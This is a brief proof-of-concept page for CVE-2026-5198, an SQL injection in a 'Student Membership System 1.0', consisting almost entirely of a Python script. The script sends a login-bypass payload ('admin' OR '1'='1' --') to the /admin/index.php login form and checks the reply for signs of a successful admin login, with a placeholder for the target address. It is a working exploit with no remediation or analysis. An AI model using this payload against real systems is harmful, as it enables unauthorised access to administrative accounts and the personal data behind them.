CVE-2026-5198 Student Membership System SQL注入漏洞

# PoC for CVE-2026-5198: SQL Injection in Student Membership System 1.0 # Target: /admin/index.php import requests def check_vuln(target_url): login_url = f"{target_url}/admin/index.php" # Payload attempting SQL Injection to bypass login payload = { "username": "admin' OR '1'='1' --", "password": "password" } try: response = requests.post(login_url, data=payload, timeout=10) # Check if login was successful (adjust keywords based on actual response) if response.status_code == 200 and ("dashboard" in response.text.lower() or "logout" in response.text.lower()): print("[+] Vulnerability confirmed! Login bypassed.") return True else: print("[-] Target not vulnerable or response changed.") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_vuln(target)